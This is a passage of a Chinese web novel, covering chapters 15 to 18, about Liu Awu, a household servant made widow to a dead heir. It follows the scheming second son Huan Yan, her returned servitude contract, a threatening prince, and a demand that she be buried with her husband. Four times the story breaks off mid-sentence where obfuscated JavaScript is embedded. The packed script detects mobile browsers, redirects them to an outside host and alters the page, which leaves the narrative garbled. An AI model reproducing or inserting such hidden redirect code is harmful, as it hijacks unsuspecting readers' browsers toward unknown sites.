他又逗弄她,阿五再次红了脸,赌气别过脸去不看他。 这人还真是睚眦必报,阿五垂眸在心里暗暗咒骂他,生生忍住尴尬和羞涩,任由桓晏为她穿衣替她整理。 对于女子的服饰他像是并不陌生,穿得细致且熟练。 想来应当也是此间高手,这样的男人必少不了流连各种烟花之地,说不定还学会了替女子描眉画眼挽发上妆的技巧。 什么说一不二的皇城使,分明就是个色厉内荏欺软怕硬的登徒子,走着瞧。 倏然,一阵痛。 桓晏竟弹了她的额角。 “你……”阿五生气起身,仰着头怒视着他,“作甚打我。” 桓晏也不看她,任由怀中娇小的美人冲他发火,只等她说完才幽幽道:“不要胡思乱想,我母亲病中是我侍奉药食衣衫。” 他竟同她说起这样的私事,阿五怔怔地看着他,佯作凶恶挥舞的粉拳还停留在空中他的脸前,面容僵硬不知该如何接话。 一瞬的哀戚桓晏瞬间恢复如常,冰封的脸上方才的温柔转瞬即逝,冷冷道:“好了。” 头上被弹的那一下隐隐作痛,阿五轻轻抚上额角看向镜中。 丧服有规制,使用粗麻布制成且不能缝边,象征悲痛至极,是以里面如常穿衣,只需浅白色即可。 镜子里一身素白未施粉黛的小女子清水出芙蓉般纯澈透明,秀气精致的小脸越发显得白净灵动,阿五眨了眨眼,干净清爽。 所谓要想俏一身孝,果然美人披麻都如仙子下凡。 桓晏欣赏着自己的杰作,眼角眉梢露出些许笑意。 阿五被他看得不自在,“我该如何做。” 她望着他,面前的男人高大英俊,被他虚虚圈在怀中熟悉的清新香气扑面而来,让阿五很放松。 “记住。”他慢条斯理地开口,一边帮她整理衣衫穿戴丧帽,一边欣赏眼前的美人,“听话,便可。” 还是那一句,同没说一样,阿五没有回应。 男人的指尖有意无意地触碰到她的皮肤,弄得阿五痒痒的。 “需哭满七日不绝,礼数不可缺。” 他帮她绾上发髻除去首饰系上素麻,“哭踊、守灵、答谢吊唁宾客皆按礼仪规制,不可错。” “心中再是不愿,这七日你也要将自己当成是……” 未尽之言桓晏点到即止,恐再说下去她又要哭出个洪灾。 阿五双手交叠置于身前握紧,面颊微红,不知是被他气的还是这样亲密无间的动作惹她不安,生硬点头道:“我省得。” 美人咬唇似有话说,桓晏一只手勾起她的下巴,“有话直说。” 阿五清澈的双眸看着他,露出怯意,似是鼓足勇气才问:“大公子去了,你不难过吗。” 从昨日得知死讯至今柳阿五都未从桓晏脸上看到过一丝悲伤,即便与谢氏有恩怨,可是大公子和他是亲手足,他真的冷血至此吗,再想起就在昨晚他还在灵堂旁的耳房要了她,这个人冷情冷性至此,多可怕。 桓晏似乎对这个问题并不介意也不生气,只淡淡道了一句,“稍后你会明白。” 明白什么,阿五不明白。但是看到桓晏气定神闲的模样,又觉他似乎知道什么。 捋了一下鬓边的碎发,阿五替过桓晏的手整理衣衫,道:“翡翠的事多谢二公子帮我周全。” 桓晏不语算是默认,看她一切妥当便转身离去。 阿五望着窗外怔愣片刻,天色亮起来,小雨渐止,天上飘着灰鸦鸦的云层,让人觉得窒息。 珍珠过来给她送药,是阿五调养身子的补药,阿五吃了药又用了两块点心,二人这才向灵堂去。 “姑娘纵是再难过也要当心身子。”珍珠递过来丝帕,“按照规制这几日粗茶淡饭,姑娘要守灵,即便是小憩也只能寝苫枕块,姑娘本就身弱可如何撑得住啊。” “放心吧。”阿五拍了拍珍珠的手,“我有分寸。” 侯府上下一片缟素,白色充斥满眼,唯有那黑漆漆的棺椁巨大且厚重,一想到那里面躺着的是自己最敬重的主子,阿五的眼泪就止不住地往下流。 按照规矩,阿五作为未亡人需准备祭品,自然这些东西都是准备好的,由她亲手奉上,并跪在灵堂左侧答谢前来吊唁的宾客,且需行匍匐礼。 这样的规矩对柳阿五而言算不得什么,身体上的疲累她早都习惯了。大公子的丧葬礼仪一应有专人负责打点,主祭礼则由府中长子主持,便是桓晏。 先是府中人祭拜,桓素娥一早就过来,哭得泣不成声给最疼爱她的长兄磕头上香,而后走到柳阿五面前。 因实在难以开口对着一个通房叫嫂嫂,桓素娥只居高临下道:“便宜了你这个贱婢。” 阿五不语,匍匐在地磕头行礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿五抬头看着晚霞,悄悄背手锤了锤后腰,这一整日下来她的腰都要断了,还有这双腿,跪得早已失去知觉。 到底是侯府,即便时辰已晚,来吊唁的宾客依旧很多,院子里人来人往,侯爷不在府中,一应待客和对外的事务都落到了桓晏头上。 虽在丧仪之中,可他的身份是皇城使监察,负责看守大公子的尸首,是以并未穿孝衣,只戴了孝帽着一身官服。 阿五的眼神落到了桓晏身上,一整日繁忙杂乱,午时还看到他出府去了,即便如此这人面上仍旧淡然从容,身子挺拔不见倦意,待人接物皆从容端方规矩守礼,丝毫不见一点疲惫和慌乱,就连那身官服也无一丝褶皱,平整簇新。 相较之下,阿五已累得站不起来了。 “少夫人,该用晚食了。”丫头过来禀报,阿五点头应下。 努力撑了口气想要起身却猝不及防脚下一软,整个人不受控制地直直栽倒。 阿五来不及惊呼,就觉一只大手撑住了自己的后腰,身前一片温暖一股熟悉的蔬果清香飘入鼻息。 抬眸望去,众目睽睽之下桓晏正揽着她的腰灼灼地盯着她。 15. 身契 夕阳余晖,落日如金。 云层被镀上金边,飞鸟从头顶掠过,羽翼沾染着金光冲向云霄,自由自在。 面前的男人被瑰丽的晚霞包裹,高大的身影融进这旖旎风光里,仿佛那冰封的冷面也被化成温暖的春水,柔软多情。 那一刻美得不真实,仿佛镜花水月一戳就破。 阿五稳住身形,被桓晏突如其来的动作吓得胆战心惊,不知他为何突然如此。 这里是灵堂,是侯府待客的厅堂,院子里丫鬟小厮穿梭往来,阿五站在最里面,身边是巨大的棺椁面前是焚烧的火盆,虽看不到院子里的情形,可从那人语声、脚步声还有环佩叮当之声便能知晓,这里聚集了很多人。 今日是丧仪第一日,府内各房各院的主子丫头随从们穿梭忙碌,前来吊唁的宾客们三三两两或驻足长谈或迎来送往,各个角落都是人。 柳阿五的视线被桓晏高大的身形完全挡住,可是那些声音还有嘈杂的氛围让她觉得脑子懵懵的,好像一瞬间所有人的目光齐聚而来,二人不合规矩不成体统的举动暴露在众目睽睽之下。 “怎么了。”桓晏的声音自头顶传来,阿五抬头,对上那双深邃毫无波澜的双眸。 面前的男人面容冷峻,一双浓烈深邃的眼睛正盯着她,黑潭般的眸中平静无一丝涟漪,既不是捉弄也不是亲近,好似他做的这一切都再正常不过了。 “可要请大夫。”他在关心阿五的身体。 可是,不应该是这样的。 阿五摇头,“无事,谢二公子。” 她努力压下突突的心跳,让自己的表情尽量不扭曲,两只手偷偷绕到身后想要扯开他的大掌。 男人的手温暖厚实,揽着她纤细的腰肢,让柳阿五如芒在背出了一身冷汗。 这人真是胆大包天,他真的不怕被人看到吗。 小娘子的面色由红变白,一双含春的桃花眼从惊恐到愤怒再到泪汪汪只在弹指之间,那双小手使尽力气掰扯他的手指,却撼动不了分毫。 阿五努力尝试了许多次,他的大掌好似黏在她腰上一般,纹丝不动。 “二公子,这里人多眼杂……” “少夫人,梁家大夫人带着几位夫人回府了,请少夫人节哀,就不来叨扰您了。” 不远处,被桓晏的身影遮挡的地方有小厮向阿五回禀。 “知,知道了。”阿五吓得一个激灵,拼命稳住气息搭话,再不敢乱动,直到听到小厮远去的脚步声,阿五才再次看向他,“二公子,这……” “听话。”他似笑非笑,眸底却蕴着阴鸷冷冽的光。 阿五不敢再动,努力让自己平静下来思考,经过几次同桓晏的接触阿五大致了解他不是一个行为举止放浪的人,相反他是个做什么事都不动声色稳扎稳打的性子,那今日这般举动…… 再次抬眸观察他的眼神,阿五看到了桓晏目光追随的方向,正是她身后的一个垂花门处。 那里直通静怡堂谢氏的院子,阿五转头看过去却什么也没看到。 所以,他是故意而为之,做给谁看的吗。 “失礼了。”桓晏陡然松开了手,敛神退后了一步拉开二人的距离。 “是……”阿五想问,却被桓晏凌厉的目光止住了话头。 那深眸漆黑不见底,辨不清情绪却叫人害怕。 阿五再不言语。 “若是日日如此,七日后也不用我救你,你便当真要随他去了。” 他的目光停在她那张哭得惨白的小脸上,“哭归哭,却也不必如此费神。” 阿五怔愣,心里琢磨他的话。 “莫要在这等事上耽搁自己,你现在身份不同,抓住机会虽只有七日却也可以做很多事。” 话音落不等阿五反应,桓晏朝她行了个礼。 阿五还礼待直起身时,一张纸被塞进手中。 桓晏的大手托着阿五的小手,放上纸张后特意将她的手指蜷起,将那纸好好握住又轻轻拍了拍她的指节,转身离去。 给了她什么,他一句话都没说。 揽腰,低语,送物,拍手……这一切都太过亲密太过反常了,阿五紧张地攥紧那张纸,待看不见桓晏的身影这才看了一眼周围,似乎没人注意她,这才低头摊开掌心铺平纸张看去。 斗大的两个字让柳阿五险些栽倒。 身契,竟是她的身契,上面还有十年前小小的阿五被骗着按上去的手印。 一颗心怦怦跳个不停,拿着身契的两手不受控制地拼命抖着,眼前的东西瞬间模糊被泪水覆盖,阿五觉得自己的面颊热的仿佛要烧起来了。 “立卖身文契人柳某,因家贫难以度日,情愿将小女阿五,年五岁,卖于桓府为奴。当日得银十两,此后生死婚嫁,悉由桓府做主。恐后无凭,立此存照。” 这是桎梏了柳阿五十年的枷锁,是她耻辱十年的根源,曾经无数个夜晚阿五梦见自己或被转手他人,或被发卖秦楼楚馆,前些日子甚至还梦见桓晏拿着她的身契要挟她…… 可是无论如何她都没有想到会有一日她也可以自己掌握自己的身契。 他究竟是如何拿到此物的阿五不知,可她明白桓晏并没有因此物拿捏她。 他甚至连一句话都没留,就这样轻巧地给她了。 暮色沉沉,灯火下男人的身影早已不见,可阿五却觉得他好像就在眼前。 不管怎样,这份恩情阿五记在心里,若七日后还能活着,这份恩情阿五必定会还他。 望着燃起的烛火,阿五抬起袖子擦了下泪,脸上绽放出久违了的笑容,不管怎样,这一次她赌对了。 桓晏说得对,虽只有七日,她也该好好利用这短暂的主子身份,不放过任何机会。 眼中的烛火渐渐清晰,夜风拂动,吹得树叶沙沙响,卷起火盆里的灰向上飞扬,就如同蝼蚁般不得掌控命运的人们,借着一切机会努力向上。 亥时三刻,阿五送走了最后几位吊唁的宾客,这第一日总算撑过去了。 揉了揉酸软的腰膝,阿五让珍珠熬了参汤准备去给谢氏请安。 因为大公子的事谢氏的病情加重,平日里多么康健雍容的侯夫人此刻仿佛老了十几岁,面色蜡黄两腮凹陷,整个人躺在床上闭目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是桓伯承的声音,大家面面相觑匍匐跪地再不敢抬头。 紧跟着,屋内传来瓷盏碎地的声音和谢氏的哭声,门上挂着的珠帘被高高甩起,桓伯承面色铁青甩袖离去。 侯爷跟夫人吵架了。 赖嬷嬷战战兢兢进去侍奉被谢氏骂了出来。 众人都被打发走了,阿五出了静怡堂的院子毫不犹豫直奔东耳房的方向。 夜色浓稠,月明星稀。 侯府的景致精巧别致,在夜间观赏移步换景别有一番韵味。 阿五为避人耳目,特意绕了些路,穿过回廊走过小桥,又在撷芳亭内耽搁了一会儿,确定无人跟踪这才莲步走去。 倏然,一道人影挡在眼前,蒙面人一身黑衣将短刀架在了柳阿五的脖子上。 柔嫩的肌肤若有似无地触碰着那锋利的寒铁,阿五惊惧哑声。 “冒犯姑娘,有贵人要见你。” 16. 陪葬 夜色浓稠,寒刃逼喉。 一片素白的宅院内,柳阿五被黑衣人掐着脖子穿过回廊绕过池塘,走到了府宅最北侧僻静的一处小院。 阿五在侯府生活了十年,对这里的一切都很熟悉,这个地方平日鲜少有人会过来,据说是侯爷曾经的一位姨娘居住过的院子,后来听说那姨娘不守本分和外男私.通后被侯爷关在此处,直至得了脏病不治身亡。 这些都是府内下人们传的,具体真相如何阿五从未想过要去探究。 这院子荒废的有些年头了,杂草足有半人高,小池里的水也早已干涸,地上零落散乱着破布头、碎瓷、瓦砾、木块等物,因常年无人打理,连房屋也显得破旧且摇摇欲坠。 黑森森的一切,让人毛骨悚然。 “王爷,人带来了。” 身后的黑衣人松开了桎梏阿五脖子的手,待她再回头看时那人已隐没于黑暗之中不见踪影。 面前无光,天上无月,阿五努力辨认脑子里只有黑衣人一句“王爷”,难道是…… “阿五姑娘。”面前的锦衣男人回头,阿五倒吸一口凉气,果然是敬王。 “哦,不对,是本王疏忽了。”萧承冷笑一声朝她逼近几步,“现在应当称姑娘一声,表嫂。” 声调轻浮尾音上扬,充满了调戏调侃的意味。 阿五下意识后退一步,在他走动时才发现萧承的左腿受了伤,走起路来一瘸一拐的。 “万民以皇室为尊,阿五不敢在殿下面前托大,您还是唤阿五好了。” 阿五不喜欢被那样称呼,听了就忍不住想吐。 萧承并未在这上头纠缠,一双精光灼灼的眼睛直勾勾地盯着她,“你还记得本王是尊,那本王叫你办的事如何了。” 阿五垂眸,目光落在萧承那受伤的左腿上,隔着轻薄的锦袍,被风吹动的衣衫下能看出里面被厚厚包扎的痕迹,想来应当伤势不轻。 见她不语,萧承没了耐心,厉声道:“柳阿五别以为做了少夫人就是主子,你是贱籍出身一辈子都别想翻身,小心这个少夫人要了你的命。” 他倒不似旁人那般即使看透也不明说,到底是皇家的身份和多年来的顺风顺水养成了他霸道嚣张的性子。 “阿五明白。”柳阿五抬头看着他,眸中含着委屈和悲伤,欲哭无泪,“所以殿下交代的事奴婢从不敢忘记。” “哦。”萧承冷笑,伸出手抬起她的下巴。 美人巴掌大的小脸在他掌中显得格外小巧精致,五官清秀动人,一双含春带怯的双眸如秋水潺潺,泛起涟漪惹人心疼。 “说说看。”萧承明白自己此番前来的目的,不能耽搁在她那张魅惑众生的脸上,误了正事。 放下手将她的衣衫扯平整,心中怪怨手下那粗人挟持美人都不懂得怜香惜玉。 “这才几日王爷怎能这般心急。”阿五心里忐忑,随口编了理由边想边应付他,“谁人不知王爷您遇刺,此番去找二公子交好岂不让他觉得您怕了,急了,这般心思明显还怎么能平等合作。” 觊觎着萧承的面色,见他凝眉若有所思好像自己说对了,柳阿五更加壮着胆子继续道:“况且现在大公子没了,王爷可不能操之过急,此时稳住躲过耳目日后方能筹谋万全长久之策。” “况且,奴婢也需要寻机会,哪里那般容易。” 最后一句说得娇娇怯怯,似埋怨他不懂自己的处境和尴尬,嗔怪有之撒娇更甚。 果然,男人都是吃这一套的,萧承敛去不满神色,低头看她。 “你心里记着便好,此事不急,你且稳住再寻机会。” “是。”阿五退一步行礼,“谢殿□□恤。” 萧承此人自负自大,断不会愿意叫人说他心急焦躁,阿五看得准,这一次算是糊弄过去了。 那日后怎么办,这始终是个隐患。 “敬王殿下好谋算啊。” 身后黑暗处一个熟悉的声音响起,阿五吓了一跳听出来那是桓晏,不知他何时到的,听了多久听去多少。 显然,桓晏的出现也出乎萧承的意料,那张四平八稳云淡风轻的脸上登时显得尴尬又窘迫,还带着几分惧怕。 “二表哥。”萧承主动上前以家族亲戚的称呼唤他。 桓晏嘴角微微上扬走出阴影,伸出手拉了一把柳阿五的左臂,将人拉到他身后的黑暗里,向萧承抱拳行礼,“参见敬王殿下。” “哎,自家兄弟这又是在侯府,无须这般见外。”萧承双手虚扶了一把桓晏的手臂,二人相对而立。 身后的柳阿五揉着被桓晏拽了一把的胳膊,那人力气是真的大,估摸着手臂要青紫了,不过这样的角度倒是保护了她。 “既是自家兄弟,殿下日后有事尽管吩咐,不必……”桓晏侧头朝阴暗里的阿五看了一眼,“不必经过外人。” 萧承没有想到桓晏竟是这样的态度,实在太过顺利,不过仔细想来也不是没有缘由。 侯府的大公子去了,桓晏如今成了长子,朝廷里极受陛下器重是众多势力想要拉拢的热门人物,这样得天独厚的优势只会让他野心勃勃,想要在侯府立足成为当家人和爵位的继承人,桓晏没有母族的支持,那么外力的支撑更为重要。 所以,他一定也是想明白了这一层,这才主动交好。 “是,是本王思虑过多了。”萧承笑得很开怀,“后日王府设宴,还请二表兄一定赏光。” 桓晏点头,“自然。” 萧承本还有话想问,可是看了看桓晏那种面无表情的脸,生生压了下去等待后日酒后再提不迟。 刚想告辞离去,谁知桓晏先开口,“父亲让我在陛下面前替侯府的过失美言。” 他看向萧承,眼神中难掩住凌厉的光,“我应了。” 这是在告诉他,自己会为侯府出力。 萧承想打听的正是此事,侯府是敬王的舅家也是敬王最大的支持和依靠,若是因此番陛下恼了桓氏,对敬王而言则是最大的损失。 如此甚好,萧承总算松了一口气。 “多谢。”他发自内心向桓晏感谢,脸上喜悦的神情溢于言表。 桓晏摆手,“这是我的家,理所应当。” 遂又看着萧承道:“敬王是我的表亲,亦是义不容辞。” 萧承惊喜,二人又寒暄几句这才离去。 直到看不见萧承的背影,桓晏仍旧站在原地不动,阿五走出阴影与他并肩侧头看他,那人一脸不耐和厌烦的神情,眉头紧锁面部肌肉紧绷,牙根咬的紧紧的。 “既然不喜为何还要与他为伍。”阿五问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859826|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也不喜。 桓晏转过头看她,身边的女子一身孝衣身材瘦小表情却是坚毅的。 “你又为何假意逢迎。”桓晏反问她。 阿五无奈,“我是奴婢,惹不起只能迂回。” 她抬起头看着黑暗中比她高出足足一头的桓晏,不解问:“二公子又不是得罪不起他,何必……” 她想说何必这样委屈自己。 “得罪得起便要立刻结仇吗。”桓晏转身离开,走了几步又停下来回头看她,“今日这身孝衣回去烧掉,还有你的脸使劲搓洗三遍。” 阿五:…… 抽什么风。 抬手摸摸自己的脸,娇嫩细腻吹弹可破,使劲搓洗三遍岂不是要破皮毁容。 * 京城的春日如梭,没几日温暖可言,下过几场雨后天气一日比一日热起来。 举丧的日子里阿五过得忙碌又劳累。 正如桓晏所言,虽然只有七日她也是这府里少夫人,谢氏又重病卧床,府中有了侯爷的吩咐一切对外事宜听从桓晏吩咐,对内桓晏让下人们来找阿五决断。 他这是在给她机会,阿五自然不会放过。 恩威并施赏罚分明,并且她做过十年的下人,知道他们最渴望什么最惧怕什么,加之阿五素来好脾性,待所有人都温和有礼是非对错分明,短短几日府中上下井然有序,大家对阿五这个少夫人已然接受且习惯了。 梁伯对于阿五掌家十分支持,跑前跑后不辞辛苦,还悄悄告诉她,夫人让办的事并未办成,阿五问:“若是夫人问起岂不连累您。” 梁伯摇头,“自然有人应承,老奴不担心姑娘也不必多想。” 说的是将她的名册庚帖合入桓氏的事,如此说来,梁伯竟是桓晏的人,阿五惊讶之余开始观察府中上下每一个人,不知道他还埋伏了多少眼线。 桓启元的丧仪很顺利,出殡这日天空下着小雨,因尸首要被拉去验尸所有仪式都只是过程而已,因此简化了许多。 按照规矩,出殡下葬阿五是不得跟随的,但这一日谢氏竟破天荒地精神抖擞,还命阿五跟着一起去。 桓氏的祖坟在京郊,一个山清水秀风水绝佳的山上,整片山林及下面的庄子、田地都是桓氏的私产,因此大公子的丧仪一路上皆能看到披麻戴孝跪地撒纸钱的村民。 今日桓氏两房人齐聚,连旁支也都到场,桓晏走在最前头,阿五朝他的背影看过去,只觉得这个人的个子极高大有威严。 七日里阿五在忙却也留意到桓晏几乎日日出府,二人倒是再没什么话,连见上一面都难,也不知他在忙些什么,今日又作何打算。 阿五心里仍觉得忐忑,时不时便习惯性抬头去看他。 可是那人始终垂眸敛神看不出任何情绪和暗示。 逼得阿五也不得不沉静下来,走着瞧吧。 “大公子下葬。” 随着一声高呼,桓启元的衣冠饰品被放入墓中,族老主持仪制,刚要封墓便听谢氏高声开口。 “慢着。”谢氏拄着拐杖站出来,满脸凄哀神色看向众人,目光最后落在柳阿五的脸上。 “桓氏族中有规矩,夫妻和睦感情笃深,妻子可随夫君同葬。” 随后谢氏用拐杖指向柳阿五,“她,要给我儿陪葬。” 17. 有孕 第17章有孕 乌云压顶,山雨欲来。 眼前明亮的一切转瞬间变得黑暗阴鸷,山风吹过,空气中带着潮湿的腥气,令人作呕。 “柳阿五本就是侯府为延年培养的通房,若非当年我看着她可怜。”谢氏的目光投向柳阿五,“恐怕她早已变成一具白骨了。” 这是大家都知道的事,这些年谁不感叹一句她柳阿五命好。 可是听到夫人亲口说出要让柳阿五陪葬,纵然是平素里最看不上她的人此刻也着实震惊不小,没想到夫人日日带在身边极宠爱的小通房,说不要就不要了。 众人各怀心思,对谢氏的惧怕却是更深了一层。 “这些年我将她带在身边,虽说是个丫头可从未将她看成是下人,吃穿用度皆同府中的小姐们一般无二,大家都称她一声姑娘。”谢氏拄着拐杖一步步逼近柳阿五,“阿五你说是与不是。” 是,她所说皆是事实,可并非全部。 但是柳阿五却说不出口,此时反驳谢氏揭穿她阴暗嫉妒的一面只会让自己陷入更加万劫不复的境地,落得个恩将仇报的名声,且旁人也不会信她说的话。 “柳阿五,我在问你话。”谢氏尚在病中底气却比阿五还要足厚。 阿五此刻跪在地上,仔细擦拭过的牌位和墓碑就在身侧,面前摆放的是大公子爱用的纸张笔墨和他平日里最爱看的书。 若是大公子知道也会让她陪着去死吗。 “延年待你不薄,我亦将你视作亲女,如今你已为他的妻理当陪他生生世世。”谢氏拭泪,“这样也算全了你们二人的情谊。” 见柳阿五仍没什么反应,谢氏转头看向桓伯承,“侯爷意下如何。” 众人的目光落到桓伯承脸上,只等侯爷开口柳阿五的命运便定了。 阿五深知侯爷的为人,对这种无关紧要的小事他素来不干涉,她对侯爷而言恐怕连个蝼蚁都不如,除非…… 侯爷身边站着桓晏,除非这个人开口,如今凭他的地位和在侯爷心中的分量,若是桓晏开口阿五定能保住性命。 可是那人却并没有插手的意思,本就冷肃的眉眼绝美的下颌线在阴云密布下显得无情又陌生。 他甚至都没看过阿五一眼,一直在侧身同昌平说着什么,很忙的样子同眼前的局势泾渭分明。 那一刻,阿五觉得好笑,自己经历了十年被谢氏搓磨欺凌的日子,竟然还妄想将自己的全部交到另一个人的手上。 谢氏不是好人,他桓晏就是吗。 是,他给了她身契,让她感动得想要报恩,可是她也在他身上付出了所有啊,女子的清白之身、名誉、脸皮和尊严。 现在想一想,给了她身契又能如何,桓晏大概是早就知道她左右都是个死,拿着那张纸又有何用。 如此想来,桓晏还不如谢氏,最起码谢氏给了阿五身后之名的尊荣,桓氏的少夫人,桓启元的妻子。他桓晏呢,连名分都不给她,像辗死一只蚂蚁一样简单而无所谓。 所以,那身契,是他故意逗弄她的吗,是了,他就喜欢逗弄她,看她狼狈。 真的傻透了,以为自己堵上一切就能博回一命,太天真了。 脸上的泪水被风吹得冰冷,干涸紧绷,胸腔内盈着一口闷气憋得想要爆炸,死死咬着的下唇流出液体,满口充斥着浓重的血腥味。 信谁都不如信自己,既如此那便走着瞧。 阿五咬牙抹掉眼泪抬头看向桓伯承,“阿五愿意为大公子陪葬。” 她哽咽着向桓伯承和谢氏磕头,态度虔诚又坚定。 众人闻言皆惊,桓含嫣忍不住喊道:“阿五,不可……” “桓含嫣你闭嘴。”桓素娥作为长姐向六姑娘发号施令,“你想违抗母亲的命令吗。” “夫人不可啊。”桓含嫣含泪不顾反对跪在了谢氏身前,“阿五是您看着长大的,你怎么舍得……” “放肆。”谢氏震怒,拐杖敲击地面,“为一个奴婢求情,也不掂量掂量你的身份。” “可是……”桓含嫣还想辩驳被阿五拦住。 “六姑娘,这是我心甘情愿的。”阿五看向桓含嫣,冲她摇了摇头。 目光落在桓伯承脸上,阿五再次行礼,“如今我已是大公子的妻,虽只有七日也是夫妻,阿五能一下子平步青云从此名讳落在桓氏的族谱上,是阿五的造化,也是夫人给阿五的抬举。” “即便抬举阿五是为了让阿五陪伴大公子,这也是旁人求不来的福分。” 阿五磕头,一双含泪的杏眸灼灼盯着桓伯承,“世人皆会替阿五高兴,也会因此赞颂桓氏赞颂侯爷夫人的仁义之举。” 小娘子规规矩矩磕头,准备辞别。 这番话说得含沙射影,桓氏在得到儿子去世的消息后第一时间抬举了柳阿五,从通房到正妻就是为了七日后为儿子陪葬,这事做得实在蛮横霸道。 谢氏为了儿子失去理智无所不用其极,但是桓伯承毕竟是侯爷,他考虑的不仅仅是一个没了的儿子,他还有桓氏的未来、陛下的眼光、侯府上下的前程以及他自己的官位和前程,给世人落得这样的话柄,实在遭人唾弃被人诟病。 若是再有言官因此作梗,拿住不放,岂不是平白为桓氏落下抹不去的污点。 看着桓伯承明暗转变的脸色,阿五悄悄松了一口气。 目光一转,身旁的男人正一瞬不错地盯着她,眼神中似带着一丝若有似无的笑意,阿五垂眸不想看他。 “你是个有情有义的,可是桓氏不能如此对待儿媳。”桓伯承一脸不耐地转头看向谢氏,“此事就此作罢。” 不容反驳一锤定音。 谢氏自然也听懂了阿五的话中有话,也明白桓伯承所思所虑,可是她仍放不下心爱的儿子,更不能允许这样的女子活在世上让她厌烦。 一切皆在意料之中,谢氏冷笑,“侯爷的所思我自是明白,正因为桓氏如今如履薄冰,家中还有众多子女晚辈,这才更要考虑周全。” 谢氏的目光变得阴狠起来,“让她给我儿陪葬都是便宜了她,既如此,也不必藏着了,赖嬷嬷,你来说。” 谢氏一声命令赖嬷嬷赶紧上前跪在桓伯承面前,指着柳阿五道:“柳阿五性子放浪,勾搭府中郎君,是老奴亲眼所见。” 说完抬头看了一眼桓晏,继续道:“那日老奴去寻阿五刚好看到阿五和……和二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看向谢氏,“夫人竟连嫂嫂已有身孕都不知吗,那可是大哥的骨肉啊,她……” 桓晏的眼神看向柳阿五,咬牙在她耳边加重语气,“不会没跟您说吧。” 一石激起千层浪,莫说其他人,就连柳阿五自己都觉得头皮发麻,呆住了。 怀孕,她怎么可能怀孕呢,更不可能是大公子的孩子,桓晏他究竟想干什么。 桓晏看着阿五的反应,轻声安慰:“嫂嫂莫怕,事到如今就都说了吧。” 这时阿五身后那名被派到翠竹轩伺候的小丫头碎步上前跪在了桓伯承和谢氏面前,“回禀侯爷夫人,奴婢碧玉是近身侍奉少夫人的,少夫人确有身孕,但因体弱操劳一直都在喝保胎的药,这是药方可请大夫一观便知。” 碧玉呈上药方跪得端端正正,言之凿凿不由得人不信。 柳阿五浑身直冒冷汗,府内的府医都是谢氏的人,她哪里来的药方,且谢氏定然不信,若是叫府医来诊脉,这谎话圆不住她岂不是会死得更惨。 “来人,去请府医。” 果然,谢氏发号施令小厮匆匆而去。 18. 默契 这里是桓氏祖庙的山上,送大公子最后一程府医也跟随。 很快,府医就能到了,谎话被戳穿后会怎样,阿五不知,只觉得心里咚咚跳得急促,连呼吸吞咽都变得十分困难,耳边嗡嗡直响吵得她头疼,努力握拳才发现自己的手脚冰冷四肢无力,裤管里的腿在打颤,连发声的力气都没有了。 这都是拜他所赐,阿五抬头看向桓晏,若不是他无中生有自己方才那番话便能保住自己的性命。 对面的男人居高临下地看着她,眉眼中含着看热闹的浅笑,像极了逗弄她时的表情。 在桓晏眼里估计是把她当成个小玩意儿了吧,和他们所有人一样。 当然了,他姓桓,是桓氏的人,纵然是与谢氏有着深仇大恨也绝不会为了柳阿五这样出身低微的人对抗侯夫人对抗整个侯府。 那一刻阿五觉得自己就像个笑话,怎么早没有想明白,他们终究是一口锅里吃饭的一家人,利益上是密不可分一荣俱荣一损俱损的,她怎么能天真到想要利用桓晏对付谢氏。 真是荒谬,所以呢,现在那个被利用的棋子恐怕是她自己吧。 谢氏拿她对付桓晏,如今桓晏也在利用她对付谢氏。 那她算什么呢,小草、泥巴、粪土……是他们拿来较量的,随手可丢弃的棋子。 风雨渐起,吹乱鬓发。 阿五咬唇抬眸瞪向高大的男人,只觉眼前模糊一片,看不真切。 若今日当真死在这里,也要拉他垫背。 阿五心意已决。 口中腥甜的味道扩散开来,抬手抹唇,手臂上赫然一抹艳丽的红。 流血了,桓晏看向柳阿五,眸中闪烁双眉紧蹙,小娘子双眼通红面色苍白眼神凌厉,散乱的碎发随风飘到她的脸上,有一种破碎但不惧生死的决绝。 这才是柳阿五该有的模样,脑海中闪过一个眼神倔强凌厉的小女孩。 “夫人,府医来了。” 老大夫也姓谢,是谢氏从家中陪嫁过来的,这些年一直在侯府,事事听谢氏吩咐,对谢氏忠心耿耿。 今日随丧葬出府还带了新收的小徒弟,看上去约十一二岁的模样,大大的眼睛长得很机灵,据说颇有几分行医的天赋。 二人给侯爷夫人请安,小徒弟便放下医箱拿出脉枕和一方锦帕递给老大夫,动作熟练稳重,对师父恭敬有礼。 阿五被按坐在石凳上,只觉得浑身无力任人摆布,一颗心马上就要跳出来了。 老大夫将指尖搭在她的腕上,闭目捋须眉头紧锁。 庙里清冷,外面风雨飘摇,像极了阿五现在如浮萍般的命运。 